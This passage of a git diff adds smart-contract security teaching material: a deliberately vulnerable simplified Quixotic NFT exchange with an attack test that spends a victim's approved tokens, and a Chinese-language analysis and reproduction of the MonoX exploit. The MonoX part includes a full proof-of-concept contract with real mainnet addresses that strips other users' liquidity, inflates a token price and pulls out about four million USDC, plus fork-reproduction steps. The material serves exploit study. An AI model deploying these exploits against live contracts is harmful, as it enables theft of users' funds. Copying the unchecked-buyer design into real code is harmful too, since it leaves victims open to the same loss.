+        await (await nba.connect(owner).setWhitelist([alice.address])).wait();
+        console.log("alice ", alice.address, " already whitelisted");
+       //3. Alice create his proof and mint tokens
+        var message = ethers.utils.hexZeroPad("0xabcd", 32);
+        var signature = await alice.signMessage(ethers.utils.arrayify(message));
+        var sig = ethers.utils.splitSignature(signature);
+        const request = {
+            message: message,
+            v: sig.v,
+            r: sig.r,
+            s: sig.s
+        }
+
+        await (await nba.connect(alice).mint_approved(request)).wait();
+       //4. Bob replay Alice's proof and mint tokens without authorization 
+       await expect(nba.connect(bob).mint_approved(request)).to.be.reverted;
+    });
+})
diff --git a/security/3-access/quixotic/.gitignore b/security/3-access/quixotic/.gitignore
new file mode 100644
index 000000000..71f6a160f
--- /dev/null
+++ b/security/3-access/quixotic/.gitignore
@@ -0,0 +1,11 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+typechain-types
+
+#Hardhat files
+cache
+artifacts
+
diff --git a/security/3-access/quixotic/README.md b/security/3-access/quixotic/README.md
new file mode 100644
index 000000000..67a299fe0
--- /dev/null
+++ b/security/3-access/quixotic/README.md
@@ -0,0 +1,68 @@
+# Overview
+
+Quixotic is a NFT trading market on Optimisim. It is stolen in 2022, causing the whole contract paused forever.
+
+
+# How quixotic works
+
+Quixotic is composed of four contracts:
+
+- ExchangeV4: Core logic of quixotic
+- ExchangeRegistry: Maintains NFF contract royalties
+- CancellationRegistry: Filled orders
+- PaymentERC20Registry: Alloed payment erc20 tokens to settle
+
+ExchangeV4 maintains three kind of fills:
+- fillSellOrder
+- fillBuyOrder
+- fillDutchAuction
+
+Take fillSellOrder as example. Seller creates, sign and publish her sell order into quixotic servers. When a buyer wanna a deal, her calls fillSellOrder with the signed sell order and her wallet address as input. The quixotic contract would verify and complete the trade, where the NFT is moved from seller to buyer whereas ERC20 tokens are transfered from buyer to seller as payment.
+
+# Vulnerabilities
+
+Put it simple, the fillSellOrder function does not verify the buyer:
+
+```solidity
+    function fillSellOrder(
+        address seller,
+        address contractAddress,
+        uint256 tokenId,
+        uint256 quantity,
+        uint256 price,
+        uint256 startTime,
+        uint256 expiration,
+        uint256 createdAtBlock,
+        bytes memory signature,
+        address buyer
+    ) external { 
+    // verify sell order
+    //[IT DOES NOT CHECK THE BUYER!!!!]
+    // transfer nft to buyer
+    // transfer payment to seller
+    }
+```
+
+Malicious user could explot this vulnerability as he could create fake sell order to trade worthless NFT to buyer without authorizations from buyer.
+
+Here are the steps:
+- 0) Seller chooses a buyer who already approve quixotic to spend her tokens
+
+- 1) Seller creates an NFT contract and mint one to herself
+
+- 2) Seller approve quixotic to operate her fake NFT contract
+
+- 3) Seller creates seller order, where this faked NFT will be sold to buyer with a high price
+
+- 4) Seller calls fillSellOrder
+
+Please refer to SampleQuixotic and test for more detail.
+
+# How to run
+In this demo, we create a simplifed version of Quixotic naming SampleQuixotic.
+
+```
+yarn
+npx hardhat test
+```
+
diff --git a/security/3-access/quixotic/contracts/DummyNFT.sol b/security/3-access/quixotic/contracts/DummyNFT.sol
new file mode 100644
index 000000000..fdcf603a3
--- /dev/null
+++ b/security/3-access/quixotic/contracts/DummyNFT.sol
@@ -0,0 +1,11 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.17;
+
+import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
+
+contract DummyNFT is ERC721{
+
+    constructor() ERC721("Dummy", "DUMMY"){
+        _mint(msg.sender, 1);
+    }
+}
\ No newline at end of file
diff --git a/security/3-access/quixotic/contracts/SampleERC20.sol b/security/3-access/quixotic/contracts/SampleERC20.sol
new file mode 100644
index 000000000..3362c207d
--- /dev/null
+++ b/security/3-access/quixotic/contracts/SampleERC20.sol
@@ -0,0 +1,12 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity 0.8.17;
+
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+
+contract SampleERC20 is ERC20 {
+
+    constructor(uint256 initialSupply) ERC20("Sample", "SAMPLE"){
+        _mint(msg.sender, initialSupply);
+        
+    }
+}
\ No newline at end of file
diff --git a/security/3-access/quixotic/contracts/SampleQuixotic.sol b/security/3-access/quixotic/contracts/SampleQuixotic.sol
new file mode 100644
index 000000000..74b2dd340
--- /dev/null
+++ b/security/3-access/quixotic/contracts/SampleQuixotic.sol
@@ -0,0 +1,118 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.17;
+
+import "@openzeppelin/contracts/access/Ownable.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
+import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
+import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
+
+contract SampleQuixotic is Ownable {
+
+    mapping(bytes32=>uint256) _cancelledSellOrders;
+    IERC20 private _settlemenERC20;
+
+    bytes32 private EIP712_DOMAIN_TYPE_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
+    bytes32 private DOMAIN_SEPARATOR = keccak256(abi.encode(
+            EIP712_DOMAIN_TYPE_HASH,
+            keccak256(bytes("Quixotic")),
+            keccak256(bytes("4")),
+            block.chainid,
+            address(this)
+        ));
+
+    constructor(address erc20) {
+        _settlemenERC20 = IERC20(erc20);
+    }
+    
+    struct SellOrder {
+        address seller;
+        address contractAddress;
+        uint256 tokenId;
+        uint256 quantity;
+        uint256 price;
+        uint256 startTime;
+        uint256 expiration;
+        uint256 createdAtBlock;
+    }
+
+    function fillSellOrder(
+        address seller,
+        address contractAddress,
+        uint256 tokenId,
+        uint256 quantity,
+        uint256 price,
+        uint256 startTime,
+        uint256 expiration,
+        uint256 createdAtBlock,
+        bytes memory signature,
+        address buyer
+    ) external { 
+        //date checks
+        require(_getCancelledBlockNumber(seller,  contractAddress, tokenId) < createdAtBlock, "Does not allow filled order to replay");
+        require(block.timestamp >= startTime, "Sell not started");
+        require(block.timestamp <= expiration, "Sell has ended");
+        //Signature checks
+        SellOrder memory sellOrder = SellOrder({
+            seller: seller,
+            contractAddress: contractAddress,
+            tokenId: tokenId,
+            quantity: quantity,
+            price: price,
+            startTime: startTime,
+            expiration: expiration,
+            createdAtBlock: createdAtBlock
+        });
+        _signatureChecks(sellOrder, signature);
+        //Move nft from seller to buyer
+        _transferNFTToBuyer(contractAddress, seller, buyer, tokenId, quantity);
+        //Move erc20 from buyer to seller
+        _payERC20ToSeller(seller, buyer, price);
+    }
+
+    function _signatureChecks(SellOrder memory sellOrder, bytes memory signature) internal view {
+        //build type hash
+        bytes32 SELLORDER_TYPEHASH = keccak256("SellOrder(address seller,address contractAddress,uint256 tokenId,uint256 quantity,uint256 price,uint256 startTime,uint256 expiration,uint256 createdAtBlock)");
+        //build struct hash
+        bytes32 structHash = keccak256(abi.encode(
+            SELLORDER_TYPEHASH,
+            sellOrder.seller,
+            sellOrder.contractAddress,
+            sellOrder.tokenId,
+            sellOrder.quantity,
+            sellOrder.price,
+            sellOrder.startTime,
+            sellOrder.expiration,
+            sellOrder.createdAtBlock
+        ));
+        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR ,structHash));
+        //recover address from sig
+        address recovered = ECDSA.recover(digest, signature);
+        require(sellOrder.seller == recovered, "invalid signature");
+    }
+
+    function _getCancelledBlockNumber(address seller, address nftAddress, uint256 tokenId) internal view returns(uint256) {
+        bytes32 digest = keccak256(abi.encodePacked(seller, nftAddress, tokenId));
+        return _cancelledSellOrders[digest];
+    }
+    
+    function _transferNFTToBuyer( address contractAddress, address seller, address buyer, uint256 tokenId, uint256 quantity) internal{
+        if (ERC165Checker.supportsInterface(contractAddress, type(IERC721).interfaceId)) {
+            IERC721 erc721 = IERC721(contractAddress);
+            erc721.safeTransferFrom(seller, buyer, tokenId);
+        } else if (ERC165Checker.supportsInterface(contractAddress, type(IERC1155).interfaceId)) {
+            IERC1155 erc1155 =IERC1155(contractAddress);
+            erc1155.safeTransferFrom(seller, buyer, tokenId, quantity, '');
+        } else{
+            revert("unrecognized token");
+        }
+    }
+
+    function _payERC20ToSeller(address seller,  address buyer, uint256 price) internal {
+        //ignore fee and royalty, etc
+        bool success = _settlemenERC20.transferFrom(buyer, seller, price);
+        require(success, "transfer erc20 failed");
+    }
+    //...other functions   
+}
\ No newline at end of file
diff --git a/security/3-access/quixotic/hardhat.config.js b/security/3-access/quixotic/hardhat.config.js
new file mode 100644
index 000000000..35b1c1c08
--- /dev/null
+++ b/security/3-access/quixotic/hardhat.config.js
@@ -0,0 +1,11 @@
+require("@nomicfoundation/hardhat-toolbox");
+
+/** @type import('hardhat/config').HardhatUserConfig */
+module.exports = {
+  solidity: "0.8.17",
+  networkds: {
+    hardhat: {
+      
+    }
+  }
+};
diff --git a/security/3-access/quixotic/package.json b/security/3-access/quixotic/package.json
new file mode 100644
index 000000000..1bd9a07de
--- /dev/null
+++ b/security/3-access/quixotic/package.json
@@ -0,0 +1,29 @@
+{
+  "name": "quixotic",
+  "version": "1.0.0",
+  "main": "index.js",
+  "author": "arc0035",
+  "license": "MIT",
+  "dependencies": {
+    "@nomiclabs/hardhat-waffle": "^2.0.3",
+    "@openzeppelin/contracts": "^4.7.3",
+    "ethereum-waffle": "^3.4.4",
+    "hardhat": "^2.11.2"
+  },
+  "devDependencies": {
+    "@ethersproject/abi": "^5.4.7",
+    "@ethersproject/providers": "^5.4.7",
+    "@nomicfoundation/hardhat-chai-matchers": "^1.0.0",
+    "@nomicfoundation/hardhat-network-helpers": "^1.0.0",
+    "@nomicfoundation/hardhat-toolbox": "^2.0.0",
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-etherscan": "^3.0.0",
+    "@typechain/ethers-v5": "^10.1.0",
+    "@typechain/hardhat": "^6.1.2",
+    "chai": "^4.2.0",
+    "ethers": "^5.4.7",
+    "hardhat-gas-reporter": "^1.0.8",
+    "solidity-coverage": "^0.8.0",
+    "typechain": "^8.1.0"
+  }
+}
diff --git a/security/3-access/quixotic/test/DemoAttack.js b/security/3-access/quixotic/test/DemoAttack.js
new file mode 100644
index 000000000..8e7319843
--- /dev/null
+++ b/security/3-access/quixotic/test/DemoAttack.js
@@ -0,0 +1,90 @@
+const {
+    time,
+    loadFixture,
+  } = require("@nomicfoundation/hardhat-network-helpers");
+const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs");
+const { expect } = require("chai");
+const { ethers } = require("hardhat");
+
+describe("demo", async function(){
+    
+    async function setupFixture() {
+        [owner, attacker, victim] = await ethers.getSigners();
+        // deploy erc20
+        const ERC20 = await ethers.getContractFactory('SampleERC20', owner);
+        const erc20 = await ERC20.deploy(ethers.utils.parseUnits("1000.0", "ether").mul(ethers.BigNumber.from('10000000000000')));
+        await erc20.deployed();
+
+        // deploy quixotic 
+        const Quixotic = await ethers.getContractFactory('SampleQuixotic', owner);
+        const quixotic = await Quixotic.deploy(erc20.address);
+        await quixotic.deployed();
+
+        // allocate money to victim
+        const amount = ethers.utils.parseUnits("1.0", 18);
+        await (await erc20.connect(owner).transfer(victim.address, amount)).wait();
+        // buyer has lots of money approved to quixotic 
+        await (await erc20.connect(victim).approve(quixotic.address, amount)).wait();
+        return {owner, attacker, victim, quixotic, erc20};            
+    }
+    
+    it("attacker", async function() {
+        const {owner, attacker, victim, quixotic, erc20} = await loadFixture(setupFixture);
+        console.log('[Before]token of attacker', 
+        (await erc20.balanceOf(attacker.address)).toString());
+        console.log('[Before]token of victim', 
+        (await erc20.balanceOf(victim.address)).toString());
+        
+        // attacker create dummy NFT and approve Quixotic to operate his dummy NFT 
+        const DummyNFT = await ethers.getContractFactory("DummyNFT", attacker);
+        const dummyNFT = await DummyNFT.deploy();
+        await dummyNFT.deployed();
+        await (await dummyNFT.connect(attacker).setApprovalForAll(quixotic.address, true)).wait();
+        // attacker creates and signs sell order
+        domain = {
+            name: 'Quixotic',
+            version: '4',
+            chainId: (await ethers.provider.getNetwork()).chainId,
+            verifyingContract: quixotic.address
+        };
+        
+        types = {
+            SellOrder: [
+                {name:'seller',type:'address'},
+                {name:'contractAddress',type:'address'},
+                {name:'tokenId',type:'uint256'},
+                {name:'quantity',type:'uint256'},
+                {name:'price',type:'uint256'},
+                {name:'startTime',type:'uint256'},
+                {name:'expiration',type:'uint256'},
+                {name:'createdAtBlock',type:'uint256'},
+            ]
+        };
+
+        const sellOrder = {
+            seller: attacker.address,
+            contractAddress: dummyNFT.address,
+            tokenId: 1,
+            quantity: 0, //doesnt matter
+            price: ethers.utils.parseUnits("1.0", "ether"),
+            startTime: 0,
+            expiration: 99999999999,
+            createdAtBlock: 1
+        }
+
+        var signature = await attacker._signTypedData(domain, types, sellOrder);
+        console.log(signature);
+        // attacker choose the buyer as victim and sell the worthless dummy NFT to buyer in the name of buyer
+        const tx = await quixotic.connect(attacker).fillSellOrder(
+            sellOrder.seller, sellOrder.contractAddress, sellOrder.tokenId,
+            sellOrder.quantity, sellOrder.price, sellOrder.startTime, sellOrder.expiration, 
+            sellOrder.createdAtBlock,
+            signature, victim.address);
+        const receipt = await tx.wait();
+            
+        console.log('[After]token of attacker', 
+             (await erc20.balanceOf(attacker.address)).toString());
+        console.log('[After]token of victim', 
+             (await erc20.balanceOf(victim.address)).toString());
+    });
+});
diff --git a/security/3-access/quixotic/test/Lock.js b/security/3-access/quixotic/test/Lock.js
new file mode 100644
index 000000000..6a161e6d4
--- /dev/null
+++ b/security/3-access/quixotic/test/Lock.js
@@ -0,0 +1,126 @@
+const {
+  time,
+  loadFixture,
+} = require("@nomicfoundation/hardhat-network-helpers");
+const { anyValue } = require("@nomicfoundation/hardhat-chai-matchers/withArgs");
+const { expect } = require("chai");
+
+describe("Lock", function () {
+  // We define a fixture to reuse the same setup in every test.
+  // We use loadFixture to run this setup once, snapshot that state,
+  // and reset Hardhat Network to that snapshot in every test.
+  async function deployOneYearLockFixture() {
+    const ONE_YEAR_IN_SECS = 365 * 24 * 60 * 60;
+    const ONE_GWEI = 1_000_000_000;
+
+    const lockedAmount = ONE_GWEI;
+    const unlockTime = (await time.latest()) + ONE_YEAR_IN_SECS;
+
+    // Contracts are deployed using the first signer/account by default
+    const [owner, otherAccount] = await ethers.getSigners();
+
+    const Lock = await ethers.getContractFactory("Lock");
+    const lock = await Lock.deploy(unlockTime, { value: lockedAmount });
+
+    return { lock, unlockTime, lockedAmount, owner, otherAccount };
+  }
+
+  describe("Deployment", function () {
+    it("Should set the right unlockTime", async function () {
+      const { lock, unlockTime } = await loadFixture(deployOneYearLockFixture);
+
+      expect(await lock.unlockTime()).to.equal(unlockTime);
+    });
+
+    it("Should set the right owner", async function () {
+      const { lock, owner } = await loadFixture(deployOneYearLockFixture);
+
+      expect(await lock.owner()).to.equal(owner.address);
+    });
+
+    it("Should receive and store the funds to lock", async function () {
+      const { lock, lockedAmount } = await loadFixture(
+        deployOneYearLockFixture
+      );
+
+      expect(await ethers.provider.getBalance(lock.address)).to.equal(
+        lockedAmount
+      );
+    });
+
+    it("Should fail if the unlockTime is not in the future", async function () {
+      // We don't use the fixture here because we want a different deployment
+      const latestTime = await time.latest();
+      const Lock = await ethers.getContractFactory("Lock");
+      await expect(Lock.deploy(latestTime, { value: 1 })).to.be.revertedWith(
+        "Unlock time should be in the future"
+      );
+    });
+  });
+
+  describe("Withdrawals", function () {
+    describe("Validations", function () {
+      it("Should revert with the right error if called too soon", async function () {
+        const { lock } = await loadFixture(deployOneYearLockFixture);
+
+        await expect(lock.withdraw()).to.be.revertedWith(
+          "You can't withdraw yet"
+        );
+      });
+
+      it("Should revert with the right error if called from another account", async function () {
+        const { lock, unlockTime, otherAccount } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        // We can increase the time in Hardhat Network
+        await time.increaseTo(unlockTime);
+
+        // We use lock.connect() to send a transaction from another account
+        await expect(lock.connect(otherAccount).withdraw()).to.be.revertedWith(
+          "You aren't the owner"
+        );
+      });
+
+      it("Shouldn't fail if the unlockTime has arrived and the owner calls it", async function () {
+        const { lock, unlockTime } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        // Transactions are sent using the first signer by default
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw()).not.to.be.reverted;
+      });
+    });
+
+    describe("Events", function () {
+      it("Should emit an event on withdrawals", async function () {
+        const { lock, unlockTime, lockedAmount } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw())
+          .to.emit(lock, "Withdrawal")
+          .withArgs(lockedAmount, anyValue); // We accept any value as `when` arg
+      });
+    });
+
+    describe("Transfers", function () {
+      it("Should transfer the funds to the owner", async function () {
+        const { lock, unlockTime, lockedAmount, owner } = await loadFixture(
+          deployOneYearLockFixture
+        );
+
+        await time.increaseTo(unlockTime);
+
+        await expect(lock.withdraw()).to.changeEtherBalances(
+          [owner, lock],
+          [lockedAmount, -lockedAmount]
+        );
+      });
+    });
+  });
+});
diff --git "a/security/Analysis&POC/MonoX/MonoX\346\224\273\345\207\273\344\272\213\344\273\266\345\210\206\346\236\220.md" "b/security/Analysis&POC/MonoX/MonoX\346\224\273\345\207\273\344\272\213\344\273\266\345\210\206\346\236\220.md"
new file mode 100644
index 000000000..5feddbee4
--- /dev/null
+++ "b/security/Analysis&POC/MonoX/MonoX\346\224\273\345\207\273\344\272\213\344\273\266\345\210\206\346\236\220.md"
@@ -0,0 +1,95 @@
+### 攻击交易
+
+```
+0x9f14d093a2349de08f02fc0fb018dadb449351d0cdb7d0738ff69cc6fef5f299
+```
+
+### 攻击合约
+
+```
+0xf079d7911c13369E7fd85607970036D2883aFcfD
+```
+
+### 攻击者地址1 负责部署攻击合约 
+
+```
+0xEcbE385F78041895c311070F344b55BfAa953258
+```
+
+### 攻击者地址2 只负责收钱
+
+```
+0x8f6A86f3aB015F4D03DDB13AbB02710e6d7aB31B
+```
+
+### 好玩的地址, 受损用户给攻击者转账, 求攻击者还钱
+
+```
+0xab5167e8cC36A3a91Fd2d75C6147140cd1837355
+```
+
+```
+0xe0e38b864bb2e6ababbc7d45dc3eb0b0118607ca1d8ae0dfcd048ae9b37b7b87
+```
+
+### 攻击交易分析
+
+1. 向WETH存0.1个ETH
+
+2. 授权给Monoswap的代理合约地址0.1个WETH
+
+3. 用0.1个WETH在Monoswap中换出79.9个Mono
+
+4. 授权给Monoswap的代理合约地址 2**256-1 个Mono
+
+5. 静态调用Monoswap的pools函数, 查询XPool中Mono的信息
+
+6. 静态调用Xpool的totalSupplyOf函数, 查询池子中Mono的总量
+
+7. 静态调用Xpool的balanceOf函数, 查询某个大户(0x7b)在池子中的Mono余额
+
+6. 调用Monoswap的`removeLiquidity`函数, (传入参数为：1. Mono Token的地址 2. 刚才查询到的该大户余额 3.  该大户的地址 4. 数值0  5. 数值1), 越权剔除了该大户在池子中的流动性
+
+7. 同上述操作, 剔除了另外两个大户的流动性
+
+8. 调用Monoswap的`addLiquidity`函数, 用极少量的Mono`196875656/1e18`,给自己添加流动性
+
+9. 静态调用Monoswap的pools函数, 查询此时XPool中Mono的信息, 此时`lastPoolValue`已经发生巨大变化, 而且tokenBalance只剩下了攻击者添加的少量流动性
+
+10. 调用Monoswap的`swapExactTokenForToken`函数, (传入参数为：1. Mono Token的地址 2. Mono Token的地址 3. 刚才添加流动性的数量`196875655`(刚才查询到的数量-1), 4. 数值0 5. 自己的地址 6. 时间戳), 获得了`79706446/1e18`个Mono, 单看这一步是亏的
+
+11. 静态调用Monoswap的pools函数, 查询到此时的tokenBalance为`314044865`
+
+12. 再次调用Monoswap的`swapExactTokenForToken`函数, 同样是用Mono换Mono, 传入的数量为`314044864`(刚才查询到的数量-1)
+
+13. 循环上述操作55次, 此时XPool中Mono的tokenBalance约为28个, 攻击合约的Mono余额为51.9个, 此时需要注意:
+
+* 攻击之前的XPool返回的Mono的信息
+
+```
+pid=10, lastPoolValue=531057465205747239605262, token=MONO, status=2, vcashDebt=0, vcashCredit=417969352001142975260, tokenBalance=101764473116983332370454, price=5218495054176274115, createdAt=1637853228
+```
+
+* 剔除大户流动性之后XPool返回的Mono的信息
+
+```
+pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=196875656, price=5218495054176274115, createdAt=1637853228
+```
+
+* 循环55次之后XPool返回的Mono的信息
+
+```
+pid=10, lastPoolValue=1027394637, token=MONO, status=2, vcashDebt=0, vcashCredit=0, tokenBalance=28065601457649448980, price=843741636512366463585990541128, createdAt=1637853228
+```
+
+14. 可以看到此时Mono在XPool中的price由`5218495054176274115`变成了`843741636512366463585990541128`, 变大了`161682942640`倍, 太多倍了, 数不过来,其实此时攻击已经可以收尾, 但是攻击者可能为了避免滑点,使利益最大化, 还进行了下面的操作
+
+15. 静态调用Monoswap的pools函数, 但是这次查询的是XPool中PID=2, 也就是`USDC`的信息, 为下一步攻击做准备
+
+16. 调用`UniSwap V2`中`USDC/ETH`交易对的闪电贷功能,借出约`845`个`WETH`
+
+17. 在回调函数中, 攻击合约用`0.07`个Mono在`MonoSwap`中换了约`4029106`个USDC,并把换出来的所有USDC还给`UniSwap V2`中`USDC/ETH`交易对, 也许这样可以避免滑点？
+
+18. 同上, 攻击合约对池子里的`USDT`,`WETH`,`WBTC`,`DUCK`,`MIM`,`IMX`进行了同样的操作. 
+
+19. 攻击流程结束
diff --git a/security/Analysis&POC/MonoX/README.md b/security/Analysis&POC/MonoX/README.md
new file mode 100644
index 000000000..af57ad68b
--- /dev/null
+++ b/security/Analysis&POC/MonoX/README.md
@@ -0,0 +1,129 @@
+# MonoX_Vul
+MonoX被攻击事件的分析和复现
+
+[攻击事件的分析](./MonoX%E6%94%BB%E5%87%BB%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90.md)
+
+
+[部署即攻击版完整代码](./poc.sol)
+
+[步骤拆分版完整代码](./Step_By_Step.sol)
+
+### 核心攻击代码
+
+* 注意下面的代码缺少Interface, 不能直接复制
+* 所有的攻击步骤都在构造函数`constructor()`中实现, 也就是说当合约部署完成,攻击也已经完成
+* 本次复现仅做原理性验证, 攻击者通过闪电贷来避免滑点,实现利益最大化
+* 但其实不调用闪电贷,攻击的主要步骤也已经完成,所以攻击者的后续操作就没有再跟进
+* POC只尝试从池子中拿走400万`USDC`,就结束了攻击
+
+```js
+contract POC{
+
+    address WETH9_Address = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
+
+    address Mono_Token_Address = 0x2920f7d6134f4669343e70122cA9b8f19Ef8fa5D;
+
+    address MonoXPool_Address = 0x59653E37F8c491C3Be36e5DD4D503Ca32B5ab2f4;
+
+    address Monoswap_address =  0xC36a7887786389405EA8DA0B87602Ae3902B88A1;
+    // 无辜的大户地址1
+    address Innocent_user_1 = 0x7B9aa6ED8B514C86bA819B99897b69b608293fFC;
+    // 无辜的大户地址2
+    address Innocent_user_2 = 0x81D98c8fdA0410ee3e9D7586cB949cD19FA4cf38;
+    // 无辜的大户地址3
+    address Innocent_user_3 = 0xab5167e8cC36A3a91Fd2d75C6147140cd1837355;
+
+    address USDC_Address =  0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
+
+    uint256 Amount_Of_MonoToken_On_XPool;
+
+    uint256 public Amount_Of_USDC_On_XPool;
+    
+    uint256 public Amoount_Of_Mono_On_This; 
+
+
+    constructor()  public payable{
+        // 把MonoToken的全部额度授权给MonoSwap 
+        MonoToken(Mono_Token_Address).approve(Monoswap_address,type(uint256).max);
+        // 把0.1个ETH换成0.1个WETH
+        WETH9(WETH9_Address).deposit{value:address(this).balance,gas:40000}();
+        // 把0.1个WETH的额度授权给MonoSwap
+        WETH9(WETH9_Address).approve(Monoswap_address,0.1 ether);
+        // 用0.1个WETH在MonoSwap上购买MonoToken
+        Monoswap(Monoswap_address).swapExactTokenForToken(WETH9_Address,Mono_Token_Address,0.1 ether,1,address(this),block.timestamp);
+        // 把XPool中三个大户的流动性全部剔除
+        RemoveLiquidity_From_3_Users();
+        // 添加自己的流动性
+        Monoswap(Monoswap_address).addLiquidity(Mono_Token_Address,196875656,address(this));
+        // 用Mono换Mono 共55次
+        Swap_Mono_for_Mono_55_Times();
+        // 用极少量的Mono换到400万的USDC
+        Swap_Mono_For_USDC();
+
+    }
+
+
+    function RemoveLiquidity_From_3_Users() internal{
+        uint256 balance_Of_User1 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_1,10);
+
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User1,Innocent_user_1,0,1);
+
+        uint256 balance_Of_User2 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_2,10);
+
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User2,Innocent_user_2,0,1);
+
+        uint256 balance_Of_User3 = MonoXPool(MonoXPool_Address).balanceOf(Innocent_user_3,10);
+
+        Monoswap(Monoswap_address).removeLiquidity(Mono_Token_Address,balance_Of_User3,Innocent_user_3,0,1);
+    }
+
+    function Swap_Mono_for_Mono_55_Times() internal{
+
+        for(uint256 i=0;i < 55; i++){
+
+            (,,,,,,Amount_Of_MonoToken_On_XPool,,) = Monoswap(Monoswap_address).pools(Mono_Token_Address);
+
+            Monoswap(Monoswap_address).swapExactTokenForToken(Mono_Token_Address,Mono_Token_Address,Amount_Of_MonoToken_On_XPool-1,0,address(this),block.timestamp);
+            
+        }
+    }
+
+    function Swap_Mono_For_USDC() internal{
+
+        (,,,,,,Amount_Of_USDC_On_XPool,,) = Monoswap(Monoswap_address).pools(USDC_Address);
+
+        Amoount_Of_Mono_On_This = MonoToken(Mono_Token_Address).balanceOf(address(this));
+
+        Monoswap(Monoswap_address).swapTokenForExactToken(Mono_Token_Address,USDC_Address,Amoount_Of_Mono_On_This,4000000000000,msg.sender,block.timestamp);
+    }
+
+
+    receive() payable external{}
+
+
+    function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _value, bytes calldata _data) external returns(bytes4){
+        bytes4 a = 0xf23a6e61;
+        return a;
+    }
+```
+
+### 复现方法
+
+* 主网上的攻击发生在高度为`13715026`的块上, 所以同样我们选前一个块去fork
+
+```
+npx ganache-cli  --fork https://eth-mainnet.alchemyapi.io/v2/Your_API_KEY@13715025   -l 4294967295
+```
+
+* 部署攻击合约 注意部署时要带上100个`Finney`, 也就是0.1个`ETH`
+
+![image](./images//%E9%83%A8%E7%BD%B2%E6%94%BB%E5%87%BB%E5%90%88%E7%BA%A6.png)
+
+* 攻击前的MetaMask钱包余额
+
+![image](./images//%E6%94%BB%E5%87%BB%E5%89%8D%E7%9A%84MetaMask%E9%92%B1%E5%8C%85%E4%BD%99%E9%A2%9D.png)
+
+* 攻击后的钱包余额
+
+![image](./images//%E6%94%BB%E5%87%BB%E5%90%8E%E7%9A%84%E9%92%B1%E5%8C%85%E4%BD%99%E9%A2%9D.png)
+
diff --git a/security/Analysis&POC/MonoX/Step_By_Step.sol b/security/Analysis&POC/MonoX/Step_By_Step.sol
new file mode 100644
index 000000000..b6de66680
--- /dev/null
+++ b/security/Analysis&POC/MonoX/Step_By_Step.sol
@@ -0,0 +1,877 @@
+// SPDX-License-Identifier: UNLICENSED
+// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.1. SEE SOURCE BELOW. !!
+pragma solidity >=0.7.0 <0.9.0;
+
+interface Monoswap {
+    event AddLiquidity(
+        address indexed provider,
+        uint256 indexed pid,
+        address indexed token,
+        uint256 liquidityAmount,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        uint256 price
+    );
+    event OwnershipTransferred(
+        address indexed previousOwner,
+        address indexed newOwner
+    );
+    event PoolBalanced(address _token, uint256 vcashIn);
+    event PoolStatusChanged(address _token, uint8 oldStatus, uint8 newStatus);
+    event RemoveLiquidity(
+        address indexed provider,
+        uint256 indexed pid,
+        address indexed token,
+        uint256 liquidityAmount,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        uint256 price
+    );
+    event Swap(
+        address indexed user,
+        address indexed tokenIn,
+        address indexed tokenOut,
+        uint256 amountIn,
+        uint256 amountOut,
+        uint256 swapVcashValue
+    );
+    event SyntheticPoolPriceChanged(address _token, uint256 price);
+
+    function _removeLiquidity(
+        address _token,
+        uint256 liquidity,
+        address to
+    )
+        external
+        view
+        returns (
+            uint256 poolValue,
+            uint256 liquidityIn,
+            uint256 vcashOut,
+            uint256 tokenOut
+        );
+
+    function addLiquidity(
+        address _token,
+        uint256 _amount,
+        address to
+    ) external returns (uint256 liquidity);
+
+    function addLiquidityETH(address to)
+        external
+        payable
+        returns (uint256 liquidity);
+
+    function addLiquidityPair(
+        address _token,
+        uint256 vcashAmount,
+        uint256 tokenAmount,
+        address to
+    ) external returns (uint256 liquidity);
+
+    function addSpecialToken(
+        address _token,
+        uint256 _price,
+        uint8 _status
+    ) external returns (uint256 _pid);
+
+    function getAmountIn(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountOut
+    )
+        external
+        view
+        returns (
+            uint256 tokenInPrice,
+            uint256 tokenOutPrice,
+            uint256 amountIn,
+            uint256 tradeVcashValue
+        );
+
+    function getAmountOut(
+        address tokenIn,
+        address tokenOut,
+        uint256 amountIn
+    )
+        external
+        view
+        returns (
+            uint256 tokenInPrice,
+            uint256 tokenOutPrice,
+            uint256 amountOut,
+            uint256 tradeVcashValue
+        );
+
+    function getConfig()
+        external
+        view
+        returns (
+            address _vCash,
+            address _weth,
+            address _feeTo,
+            uint16 _fees,
+            uint16 _devFee
+        );
+
+    function getPool(address _token)
+        external
+        view
+        returns (
+            uint256 poolValue,
+            uint256 tokenBalanceVcashValue,
+            uint256 vcashCredit,
